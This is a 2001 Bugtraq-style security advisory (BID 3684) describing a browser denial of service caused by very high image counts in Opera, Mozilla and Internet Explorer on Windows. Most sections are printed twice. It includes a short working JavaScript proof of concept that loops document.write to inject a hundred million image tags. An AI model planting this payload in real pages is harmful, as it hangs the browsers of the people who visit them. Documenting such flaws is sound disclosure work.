Multiple Vendor Image Count Denial of Service Vulnerability
BID:3684
Info
Multiple Vendor Image Count Denial of Service Vulnerability
| Bugtraq ID: | 3684 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 11 2001 12:00AM |
| Updated: | Dec 11 2001 12:00AM |
| Credit: | Discovered and posted to Bugtraq by Pavel Titov <[email protected]>. |
| Vulnerable: |
Opera Software Opera Web Browser 5.1 1 win32 Mozilla Browser 0.9.6 Microsoft Internet Explorer 6.0 |
| Not Vulnerable: | |
Discussion
Multiple Vendor Image Count Denial of Service Vulnerability
An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.
An unusually high image count may cause a denial of services to users who view the webpage containing the offending image.
Malicious webmasters may construct webpages which exploit this vulnerability.
An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.
An unusually high image count may cause a denial of services to users who view the webpage containing the offending image.
Malicious webmasters may construct webpages which exploit this vulnerability.
Exploit / POC
Multiple Vendor Image Count Denial of Service Vulnerability
The following has been provided by Pavel Titov <[email protected]> and is an example of how to exploit this issue:
<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>
The following has been provided by Pavel Titov <[email protected]> and is an example of how to exploit this issue:
<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>
Solution / Fix
Multiple Vendor Image Count Denial of Service Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Multiple Vendor Image Count Denial of Service Vulnerability
References:
References: